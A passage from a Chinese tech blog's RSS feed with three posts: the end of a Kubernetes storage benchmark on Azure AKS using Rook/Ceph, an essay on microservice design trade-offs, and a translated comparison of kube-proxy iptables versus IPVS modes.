&lt;li&gt;&lt;p&gt;还要在 &lt;code&gt;deviceFilter&lt;/code&gt; 中指定要使用的设备，这里是 &lt;code&gt;/dev/sdc&lt;/code&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;diff --git a/cluster/examples/kubernetes/ceph/cluster.yaml b/cluster/examples/kubernetes/ceph/cluster.yaml
index 48cfeeb..0c91c48 100755
--- a/cluster/examples/kubernetes/ceph/cluster.yaml
+++ b/cluster/examples/kubernetes/ceph/cluster.yaml
@@ -227,7 +227,7 @@ spec:
   storage: # cluster level storage configuration and selection
     useAllNodes: true
     useAllDevices: false
-    deviceFilter:
+    deviceFilter: &amp;quot;^sdc&amp;quot;
     location:
     config:
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;安装之后，创建一个 Ceph block pool，以及 StorageClass，使用如下配置。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: ceph.rook.io/v1
kind: CephBlockPool
metadata:
  name: replicapool
  namespace: rook-ceph
spec:
  failureDomain: host
  replicated:
    size: 3
---
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
   name: rook-ceph-block
provisioner: ceph.rook.io/block
parameters:
  blockPool: replicapool
  clusterNamespace: rook-ceph
  fstype: xfs
reclaimPolicy: Retain
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;最后使用部署&lt;a href=&#34;https://github.com/rook/rook/blob/master/Documentation/ceph-toolbox.md&#34; target=&#34;_blank&#34;&gt;工具&lt;/a&gt;进行检查。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;ceph status
cluster:
id:     bee70a10-dce1-4725-9285-b9ec5d0c3a5e
health: HEALTH_OK

services:
mon: 3 daemons, quorum c,b,a
mgr: a(active)
osd: 3 osds: 3 up, 3 in

data:
pools:   0 pools, 0 pgs
objects: 0  objects, 0 B
usage:   3.0 GiB used, 3.0 TiB / 3.0 TiB avail
pgs:

[root@aks-agentpool-27654233-0 /]#
[root@aks-agentpool-27654233-0 /]#
[root@aks-agentpool-27654233-0 /]# ceph osd status
+----+--------------------------+-------+-------+--------+---------+--------+---------+-----------+
| id |           host           |  used | avail | wr ops | wr data | rd ops | rd data |   state   |
+----+--------------------------+-------+-------+--------+---------+--------+---------+-----------+
| 0  | aks-agentpool-27654233-0 | 1025M | 1021G |    0   |     0   |    0   |     0   | exists,up |
| 1  | aks-agentpool-27654233-1 | 1025M | 1021G |    0   |     0   |    0   |     0   | exists,up |
| 2  | aks-agentpool-27654233-2 | 1025M | 1021G |    0   |     0   |    0   |     0   | exists,up |
+----+--------------------------+-------+-------+--------+---------+--------+---------+-----------+
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&#34;优点-4&#34;&gt;优点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;在大型生产环境上的健壮存储系统。&lt;/li&gt;
&lt;li&gt;Rook 很好的简化了生命周期管理。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;缺点-4&#34;&gt;缺点&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;复杂：更加重量级，也不太适合在公有云上运行。在私有云上的运行可能更加合适。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;aks-测试环境&#34;&gt;AKS 测试环境&lt;/h2&gt;

&lt;p&gt;我用 3 个虚拟机创建了基本的 Azure AKS 集群。为了连接到 Premium SSD 上，我只能使用 type E 以上级别的虚拟机。因此我选择了 &lt;a href=&#34;https://docs.microsoft.com/en-us/azure/virtual-machines/windows/sizes-memory#esv3-series&#34; target=&#34;_blank&#34;&gt;Standard_E2s_v3&lt;/a&gt;，其上配备了 2 vCPU 以及 16GB 的内存。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/aks-vm-e2.png&#34; alt=&#34;vm&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在 AKS 集群所在的资源足中，可以看到所有的虚拟机、网络接口等资源。在这里创建 3 个 1TB 的 Premium SSD 存储，并手工挂载到每个虚拟机上。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/resource-group.png&#34; alt=&#34;resource group&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这样在每个实例上，我都有 1TB 的空磁盘。Azure 的页面上，根据我们选择的虚拟机和磁盘尺寸来看，性能应该有 5000 IOPS 以及 200MB/s 的吞吐量。最后一节会显示我们的真实结果。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/azure-disk-performance.png&#34; alt=&#34;azure new disk&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;性能结果&#34;&gt;性能结果&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：每种存储的结果并不能作为独立的评估结果，但是其比较情况是可以参考的。有很多种对比测试的方法，这是最简单的一种。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;为了运行测试，我决定使用现成的测试工具 &lt;a href=&#34;https://github.com/logdna/dbench&#34; target=&#34;_blank&#34;&gt;Dbench&lt;/a&gt;，它是一个 k8s 的 YAML 文件，会使用 &lt;a href=&#34;https://github.com/axboe/fio&#34; target=&#34;_blank&#34;&gt;FIO&lt;/a&gt; 运行 8 个测试用例。可以在 Dockerfile 中&lt;a href=&#34;https://github.com/logdna/dbench/blob/master/docker-entrypoint.sh&#34; target=&#34;_blank&#34;&gt;指定不同测试&lt;/a&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;随机读写带宽。&lt;/li&gt;
&lt;li&gt;随机读写 IOPS。&lt;/li&gt;
&lt;li&gt;读写延迟。&lt;/li&gt;
&lt;li&gt;顺序读写。&lt;/li&gt;
&lt;li&gt;混合读写 IOPS。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所有测试的结果可以在 &lt;a href=&#34;https://gist.github.com/pupapaik/76c5b7f124dbb69080840f01bf71f924&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 上找到。&lt;/p&gt;

&lt;h3 id=&#34;随机读写带宽&#34;&gt;随机读写带宽&lt;/h3&gt;

&lt;p&gt;随机读写测试表明，GlusterFS、Ceph 以及 Portworx 的读取性能比 AWS 本地盘的 &lt;code&gt;hostPath&lt;/code&gt; 快了几倍。读缓存是罪魁祸首。GlusterFS 和 Portworx 的写入更快，其效率直逼本地磁盘。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/random-rw-bw.png&#34; alt=&#34;table1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/figure1.png&#34; alt=&#34;figure1&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;随机读写-iops&#34;&gt;随机读写 IOPS&lt;/h3&gt;

&lt;p&gt;随机 IOPS 测试中，Portworx 和 Ceph 表现最好。Portworx 在写入方面获得了接近 Azure 原生 PVC 的 IOPS。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/table2.png&#34; alt=&#34;table2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/figure2.png&#34; alt=&#34;figure2&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;读写延迟&#34;&gt;读写延迟&lt;/h3&gt;

&lt;p&gt;延迟测试的结果比较有趣，Azure 原生 PVC 比多数其它存储都差。Portworx 和 Ceph 表现最好。写入方面，GlusterFS 要优于 Ceph。OpenEBS 的延迟相对来说非常的高。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/table3.png&#34; alt=&#34;tables&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/figure3.png&#34; alt=&#34;figure&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;顺序读写&#34;&gt;顺序读写&lt;/h3&gt;

&lt;p&gt;顺序读写的结果和前面的随机测试差不多，然而 Cpeh 在读取方面比 GlusterFS 快了一倍多。写入结果基本一致，只有 OpenEBS 表现奇差。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/table4.png&#34; alt=&#34;table4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/figure4.png&#34; alt=&#34;figure4&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;混合读写-iops&#34;&gt;混合读写 IOPS&lt;/h3&gt;

&lt;p&gt;最后一个测试用例检查的是混合读写情况下的 IOPS，Portworx 和 Ceph 都给出了优于 Azure 原生 PVC 的结果。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/table5.png&#34; alt=&#34;table5&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/figure5.png&#34; alt=&#34;figure5&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;本文展示了一个简单的存储对比，使用未经性能优化的多种存储提供的存储卷进行测试和比较。建议关注本文所述方法，不建议直接采用结果进行判断。&lt;/p&gt;

&lt;p&gt;忽略 Azure 的原生 PVC 或 &lt;code&gt;hostPath&lt;/code&gt;，我们可以得出如下测试结果：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Portworx 是 AKS 上最快的容器存储。&lt;/li&gt;
&lt;li&gt;Ceph 是私有云集群上最快的开源存储后端。对公有云来说，其操作太过复杂，这些多余的复杂性并没有能提供更好的测试表现。&lt;/li&gt;
&lt;li&gt;OpenEBS 的概念很棒，但是其后端需要更多优化。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;调整性能数据的测试规模应该会很有意思。另外值得关注的对比就是 CPU 和内存的消耗。我会持续关注，并分享更多。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>土味微服务</title>
      <link>/post/some-comments-on-microservice/</link>
      <pubDate>Fri, 10 May 2019 13:06:50 +0800</pubDate>
      <guid>/post/some-comments-on-microservice/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;前段时间有大佬邀请，参加了一个微服务方面的交流，期间大放厥词，回味起来意犹未尽，整理一稿出来，博诸君一哂。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;扯一扯定义&#34;&gt;扯一扯定义&lt;/h2&gt;

&lt;p&gt;单体应用（monolithic application）这个名词，是经常被拿出来和微服务做比较（吊打）的。知己知彼百战不殆，在说微服务之前，似乎蛮有必要了解一下这个老对手的情况。&lt;/p&gt;

&lt;p&gt;按照 Google 程序员的常用抄袭手段，我在 Google 搜索 &lt;code&gt;monolithic application&lt;/code&gt;，选一点结果摘录如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Monolithic_application&#34; target=&#34;_blank&#34;&gt;Wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;In software engineering, a monolithic application describes a single-tiered software application in which the user interface and data access code are combined into a single program from a single platform.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://medium.com/koderlabs&#34; target=&#34;_blank&#34;&gt;Kodelabs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Monolith means composed all in one piece. The Monolithic application describes a single-tiered software application in which different components combined into a single program from a single platform.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;根据上面的陈述，会发现很难对单体应用做出一个精准的判断，&lt;code&gt;single program&lt;/code&gt;、&lt;code&gt;single-tiered&lt;/code&gt; 放到真实世界中，除了单服务器、单进程的小网站之外，这种情况似乎很难看到。在面对几十几百台服务器的时候，我想大概没有架构师会有兴趣让几百台服务器都跑同一个 WAR 吧。&lt;/p&gt;

&lt;p&gt;对手身份不太明确，那么会不会是个兔死狗烹呢？微服务的定义又是什么样的呢？下面是 &lt;a href=&#34;https://martinfowler.com/articles/microservices.html&#34; target=&#34;_blank&#34;&gt;Martin Folwer&lt;/a&gt; 给出的定义：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In short, the microservice architectural style is an approach to developing a single application as a suite of small services, each running in its own process and communicating with lightweight mechanisms, often an HTTP resource API. These services are built around business capabilities and independently deployable by fully automated deployment machinery. There is a bare minimum of centralized management of these services, which may be written in different programming languages and use different data storage technologies.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;小有多小，轻有多轻，全自动的范围有多大，去中心化到底有怎样的自治，似乎也都让人摸不到头脑。&lt;/p&gt;

&lt;p&gt;虽说概念没有一清二楚，然而从上述的定义来看，微服务是对一些既有的观点进行了强调的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;以业务为中心&lt;/li&gt;
&lt;li&gt;多技术栈共存&lt;/li&gt;
&lt;li&gt;轻量协议互访&lt;/li&gt;
&lt;li&gt;去中心化&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;据此，我对微服务这个风向的理解，是在传统软件的设计开发体系基础之上的一种变化，相对于翻天覆地的变革，我更愿称之为一种改良。&lt;/p&gt;

&lt;h2 id=&#34;是谁坑了瀑布流程&#34;&gt;是谁坑了瀑布流程&lt;/h2&gt;

&lt;p&gt;人人喊打的瀑布流程，在我看来，面对的是一种类似读书时候经常提到的&lt;code&gt;理想状况&lt;/code&gt;：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/perfect.png&#34; alt=&#34;perfect&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在理想状况中：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;需求是清晰而持久的&lt;/li&gt;
&lt;li&gt;基础设施都是稳定的&lt;/li&gt;
&lt;li&gt;依赖服务都是靠得住的&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;过往的开发过程在这种理想状况中，是具备非常多的好处的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;单一的技术栈有利于人才招聘、培养以及技术积累。&lt;/li&gt;
&lt;li&gt;少量的业务进程对发布、运维都有较小的压力，并且内部调用效率更高。&lt;/li&gt;
&lt;li&gt;集中数据的好处更是车载斗量，安全、事务等方面有极大的优势。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然而世界发生了变化，廉价服务器包打天下，IT 人满坑满谷，业务日新月异，新技术层出不穷，用户漫山遍野，这一切因素叠加起来，都让以前重如千钧的需求变得相当轻浮。&lt;/p&gt;

&lt;p&gt;结果现在越来越多的开发过程，变成了这样：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/real.png&#34; alt=&#34;real&#34; /&gt;&lt;/p&gt;

&lt;p&gt;所有的环节，都随时面临变化的冲击：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;既有需求尚未完成，已经产生变更。&lt;/li&gt;
&lt;li&gt;设计开发过程受到新技术新方法的冲击。&lt;/li&gt;
&lt;li&gt;测试标准、交付标准的变化。&lt;/li&gt;
&lt;li&gt;运行环境升级和故障响应要求。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;种种变化归结起来：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;硬件和人力都变得廉价，变更频繁并且范围更大。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;快速的变化除了产生需求之外，还让黏连在一起的大进程难于适应：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;不同业务之间的信任关系会发生变化。&lt;/li&gt;
&lt;li&gt;共享数据容易污染。&lt;/li&gt;
&lt;li&gt;多小的代码变更，都可能引发大量的测试和上线动作。&lt;/li&gt;
&lt;li&gt;特定业务场景无法使用最优技术栈进行实现。&lt;/li&gt;
&lt;li&gt;必须同步进行缩放。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;除了上述的外部因素之外，开发团队和交付物自身其实也同样的不理想：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;牵一发而动全身的共享代码库。&lt;/li&gt;
&lt;li&gt;不严格的组件边界，可能导致不同业务互相干扰。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;应对思路也顺理成章：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;越长的流程越容易被变化击中，换句话说，越短的流程越容易完成。&lt;/li&gt;
&lt;li&gt;缩短的流程，决定了交付物体积缩小，但是并行开发的需求大增。&lt;/li&gt;
&lt;li&gt;并行开发的过程，要求有多团队协同工作。&lt;/li&gt;
&lt;li&gt;多团队的结果就会导致扩展技术栈、去中心化的要求。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;更小的交付物，和更便宜的服务器勾搭起来，产生了大量运行小进程的廉价服务器，自然也就催生了“民用”的分布式计算。&lt;/p&gt;

&lt;p&gt;如此一来，各种集群、各层协议、各种分布式框架就成了刚需，产生了空前发展。&lt;/p&gt;

&lt;p&gt;从“集中力量干大事”，到“各村有各村的高招”，这种变化自然是&lt;strong&gt;为了满足客户需要&lt;/strong&gt;。&lt;/p&gt;

&lt;h2 id=&#34;没有-silver-bullshit&#34;&gt;没有 Silver Bullshit&lt;/h2&gt;

&lt;p&gt;按照前面提到的思路，我们：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;把进程内的组件拆成独立服务。&lt;/li&gt;
&lt;li&gt;独立的服务运行各自的进程。&lt;/li&gt;
&lt;li&gt;原有的进程内调用变成了网络调用。&lt;/li&gt;
&lt;li&gt;各个服务可能采用不同的技术栈来实现。&lt;/li&gt;
&lt;li&gt;每个服务独占存储自己的存储。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;大的有点不好，小的就一定好么？各自放飞的微服务，有了各自的实现、发布、伸缩的弹性，是不是就一定好了？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;更多的服务器，和相关设施，代表着更多的故障。所以微服务经常强调的是面向故障进行设计。&lt;/li&gt;
&lt;li&gt;分离的数据，相对于原有的单一数据库来说，事务保障变得复杂无比。&lt;/li&gt;
&lt;li&gt;大量的进程会给运维工作带来很大压力，急需监控和自动化的大力支持。&lt;/li&gt;
&lt;li&gt;单一业务的调用序列大幅延长，调试优化难度也一定是大大增加了。&lt;/li&gt;
&lt;li&gt;散乱的技术栈，会大幅提高技术管理的难度，降低知识的复用性。&lt;/li&gt;
&lt;li&gt;独立的代码库，很明显会降低代码复用的可能性。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;由此看来，这种拆分并非只赚不赔的好买卖。是一个需要权衡的事情。不论微服务的数量有多大，个头有多小，作为一个独立的交付物，都还是需要遵循既有的软件开发技能和规律的。那么问题来了——对于给定的系统，到底应该有多少个微服务，每个服务有多大呢？&lt;/p&gt;

&lt;p&gt;前文说道，我更愿意称微服务为一种改良，他是一种应对变化的手段，而非特征。在如今的情况下，不管是对新业务实现的设计，还是对既有系统的重构，任何架构师都不会把明明应该拆分的东西硬性的合并到一起。所以这个分离的标准就比较重要了。&lt;/p&gt;

&lt;h2 id=&#34;拆还是不拆-这是个问题&#34;&gt;拆还是不拆，这是个问题&lt;/h2&gt;

&lt;p&gt;很明显的，微服务的设计不是一个靠数量取胜的事情，所以重点不是能拆成多少块，而是什么东西需要拆，下面列出我所知的几个影响因素。&lt;/p&gt;

&lt;h3 id=&#34;组织机构&#34;&gt;组织机构&lt;/h3&gt;

&lt;p&gt;利益人的识别，在各种软件开发过程中都是很重要的一个环节，在微服务中也是如此，而且尤其重要。当一份交付物存在多个利益人，并且互相之间不存在管辖关系的时候，就表明当前交付物的边界出现了问题，面临着令出多头、需求干扰的风险。&lt;/p&gt;

&lt;h3 id=&#34;伸缩需求&#34;&gt;伸缩需求&lt;/h3&gt;

&lt;p&gt;同一个进程之内的不同业务功能，有时在业务量方面会出现较大的差异，具体要求的进程数量会有较大差别，这样的模块锁定在同一进程之内，势必会造成资源的浪费。&lt;/p&gt;

&lt;h3 id=&#34;部署频率&#34;&gt;部署频率&lt;/h3&gt;

&lt;p&gt;这个很容易理解，同一个交付物内不同的组件有着不同的上线频率，会大大的提高上线流程的发生频率，会造成较大的人员浪费。&lt;/p&gt;

&lt;h3 id=&#34;修改的相关性&#34;&gt;修改的相关性&lt;/h3&gt;

&lt;p&gt;如果同一交付物内的不同组件，经常会被同步修改，这可能说明，如果发生拆分，这两个模块应该是”在一起“的。&lt;/p&gt;

&lt;h3 id=&#34;技术栈&#34;&gt;技术栈&lt;/h3&gt;

&lt;p&gt;新技术的爆发，让很多不同的场景有了更好的实现方式，如果有业务急需使用新的技术栈来（重新）实现。这种新技术除了新的语言、新的数据库之外，可能还包括容器、Service Mesh、API 网关等新晋 PaaS 能力。毫无疑问，这种业务也同样有拆分的需要。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;微服务虽说不是一个全新的东西，但也绝非是简单的新瓶装旧酒。总体说来，我认为这是在尊重现实，适当妥协的基础上，一种应对变化的好办法。&lt;/p&gt;

&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/post/microservice/&#34;&gt;《微服务》&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/post/extract-from-monolith/&#34;&gt;《如何从单体应用中拆分富数据服务》&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>kube-proxy 模式对比：iptables 还是 IPVS？</title>
      <link>/post/iptables-or-ipvs/</link>
      <pubDate>Thu, 02 May 2019 18:29:39 +0800</pubDate>
      <guid>/post/iptables-or-ipvs/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.tigera.io/blog/comparing-kube-proxy-modes-iptables-or-ipvs/&#34; target=&#34;_blank&#34;&gt;Comparing kube-proxy modes: iptables or IPVS?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.linkedin.com/in/alexpollitt&#34; target=&#34;_blank&#34;&gt;Alex Pollitt&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;kube-proxy 是 Kubernetes 中的关键组件。他的角色就是在服务（ClusterIP 和 NodePort）和其后端 Pod 之间进行负载均衡。kube-proxy 有三种运行模式，每种都有不同的实现技术：&lt;strong&gt;userspace&lt;/strong&gt;、&lt;strong&gt;iptables&lt;/strong&gt; 或者 &lt;strong&gt;IPVS&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;userspace 模式非常陈旧、缓慢，已经不推荐使用。但是 iptables 和 IPVS 该如何选择呢？本文中我们会对这两种模式进行比较，看看他们在真正的微服务上下文中的表现，并解释在特定情况下的选择方法。&lt;/p&gt;

&lt;p&gt;首先我们说一下这两种模式的背景，然后开始测试并查看结果。&lt;/p&gt;

&lt;h2 id=&#34;背景-iptables-模式&#34;&gt;背景：iptables 模式&lt;/h2&gt;

&lt;p&gt;iptables 是一个 Linux 内核功能，是一个高效的防火墙，并提供了大量的数据包处理和过滤方面的能力。它可以在核心数据包处理管线上用 Hook 挂接一系列的规则。iptables 模式中 kube-proxy 在 &lt;code&gt;NAT pre-routing&lt;/code&gt; Hook 中实现它的 NAT 和负载均衡功能。这种方法简单有效，依赖于成熟的内核功能，并且能够和其它跟 iptables 协作的应用（例如 Calico）融洽相处。&lt;/p&gt;

&lt;p&gt;然而 kube-proxy 的用法是一种 O(n) 算法，其中的 n 随集群规模同步增长，这里的集群规模，更明确的说就是服务和后端 Pod 的数量。&lt;/p&gt;

&lt;h2 id=&#34;背景-ipvs-模式&#34;&gt;背景：IPVS 模式&lt;/h2&gt;

&lt;p&gt;IPVS 是一个用于负载均衡的 Linux 内核功能。IPVS 模式下，kube-proxy 使用 IPVS 负载均衡代替了 iptable。这种模式同样有效，IPVS 的设计就是用来为大量服务进行负载均衡的，它有一套优化过的 API，使用优化的查找算法，而不是简单的从列表中查找规则。&lt;/p&gt;

&lt;p&gt;这样一来，kube-proxy 在 IPVS 模式下，其连接过程的复杂度为 O(1)。换句话说，多数情况下，他的连接处理效率是和集群规模无关的。&lt;/p&gt;

&lt;p&gt;另外作为一个独立的负载均衡器，IPVS 包含了多种不同的负载均衡算法，例如轮询、最短期望延迟、最少连接以及各种哈希方法等。而 iptables 就只有一种随机平等的选择算法。&lt;/p&gt;

&lt;p&gt;IPVS 的一个潜在缺点就是，IPVS 处理数据包的路径和通常情况下 iptables 过滤器的路径是不同的。如果计划在有其他程序使用 iptables 的环境中使用 IPVS，需要进行一些研究，看看他们是否能够协调工作。（Calico 已经和 IPVS kube-proxy 兼容）&lt;/p&gt;

&lt;h2 id=&#34;性能对比&#34;&gt;性能对比&lt;/h2&gt;

&lt;p&gt;iptables 的连接处理算法复杂度是 O(n)，而 IPVS 模式是 O(1)，但是在微服务环境中，其具体表现如何呢？&lt;/p&gt;

&lt;p&gt;在多数场景中，有两个关键属性需要关注：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;响应时间：一个微服务向另一个微服务发起调用时，第一个微服务发送请求，并从第二个微服务中得到响应，中间消耗了多少时间？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;CPU 消耗：运行微服务的过程中，总体 CPU 使用情况如何？包括用户和核心空间的 CPU 使用，包含所有用于支持微服务的进程（也包括 kube-proxy）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为了说明问题，我们运行一个微服务作为客户端，这个微服务以 Pod 的形式运行在一个独立的节点上，每秒钟发出 1000 个请求，请求的目标是一个 Kubernetes 服务，这个服务由 10 个 Pod 作为后端，运行在其它的节点上。接下来我们在客户端节点上进行了测量，包括 iptables 以及 IPVS 模式，运行了数量不等的 Kubernetes 服务，每个服务都有 10 个 Pod，最大有 10,000 个服务（也就是 100,000 个 Pod）。我们用 golang 编写了一个简单的测试工具作为客户端，用标准的 NGINX 作为后端服务。&lt;/p&gt;

&lt;h2 id=&#34;响应时间&#34;&gt;响应时间&lt;/h2&gt;

&lt;p&gt;响应时间很重要，有助于我们理解连接和请求的差异。典型情况下，多数微服务都会使用持久或者 &lt;code&gt;keepalive&lt;/code&gt; 连接，这意味着每个连接都会被多个请求复用，而不是每个请求一次连接。这很重要，因为多数连接的新建过程都需要完成三次 TCP 握手的过程，这需要消耗时间，也需要在 Linux 网络栈中进行更多操作，也就会消耗更多 CPU 和时间。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Picture1.png&#34; alt=&#34;Round-Trip Response TIme vs Number of Services&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这张图展示了两个关键点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;iptables 和 IPVS 的平均响应时间在 1000 个服务（10000 个 Pod）以上时，会开始观察到差异。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;只有在每次请求都发起新连接的情况下，两种模式的差异才比较明显。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;不管是 iptables 还是 IPVS，kube-proxy 的响应时间开销都是和建立连接的数量相关的，而不是数据包或者请求数量，这是因为 Linux 使用了 Conntrack，能够高效地将数据包和现存连接关联起来。如果数据包能够被 Conntrack 成功匹配，那就不需要通过 kube-proxy 的 iptables 或 IPVS 规则来推算去向。Linux conntrack 非常棒！（绝大多数时候）&lt;/p&gt;

&lt;p&gt;值得注意的是，例子中的服务端微服务使用 NGINX 提供一个静态小页面。多数微服务要做更多操作，因此会产生更高的响应时间，也就是 kube-proxy 处理过程在总体时间中的占比会减少。&lt;/p&gt;

&lt;p&gt;还有个需要解释的古怪问题：既然 IPVS 的连接过程复杂度是 O(1)，为什么在 10,000 服务的情况下，非 Keepalive 的响应时间还是提高了？我们需要深入挖掘更多内容才能解释这一问题，但是其中一个因素就是因为上升的 CPU 用量拖慢了整个系统。这就是下一个主题需要探究的内容。&lt;/p&gt;

&lt;h2 id=&#34;cpu-用量&#34;&gt;CPU 用量&lt;/h2&gt;

&lt;p&gt;为了描述 CPU 用量，下图关注的是最差情况：不使用持久/keepalive 连接的情况下，kube-proxy 会有最大的处理开销。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Picture2.png&#34; alt=&#34;Total CPU&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图说明了两件事：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在超过 1000 个服务（也就是 10,000 个 Pod）的情况下，CPU 用量差异才开始明显。&lt;/li&gt;
&lt;li&gt;在一万个服务的情况下（十万个后端 Pod），iptables 模式增长了 0.35 个核心的占用，而 IPVS 模式仅增长了 8%。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;有两个主要因素造成 CPU 用量增长：&lt;/p&gt;

&lt;p&gt;第一个因素是，缺省情况下 kube-proxy 每 30 秒会用所有服务对内核重新编程。这也解释了为什么 IPVS 模式下，新建连接的 O(1) 复杂度也仍然会产生更多的 CPU 占用。另外，如果是旧版本内核，重新编程 iptables 的 API 会更慢。所以如果你用的内核较旧，iptables 模式可能会占用更多的 CPU。&lt;/p&gt;

&lt;p&gt;另一个因素是，kube-proxy 使用 IPVS 或者 iptables 处理新连接的消耗。对 iptables 来说，通常是 O(n) 的复杂度。在存在大量服务的情况下，会出现显著的 CPU 占用升高。例如在 10,000 服务（100,000 个后端 Pod）的情况下，iptables 会为每个请求的每个连接处理大约 20000 条规则。如果使用 NINGX 缺省每连接 100 请求的 keepalive 设置，kube-proxy 的 iptables 规则执行次数会减少为 1%，会把 iptables 的 CPU 消耗降低到和 IPVS 类似的水平。&lt;/p&gt;

&lt;p&gt;客户端微服务会简单的丢弃响应内容。真实世界中自然会进行更多处理，也会造成更多的 CPU 消耗，但是不会影响 CPU 消耗随服务数量增长的事实。&lt;/p&gt;

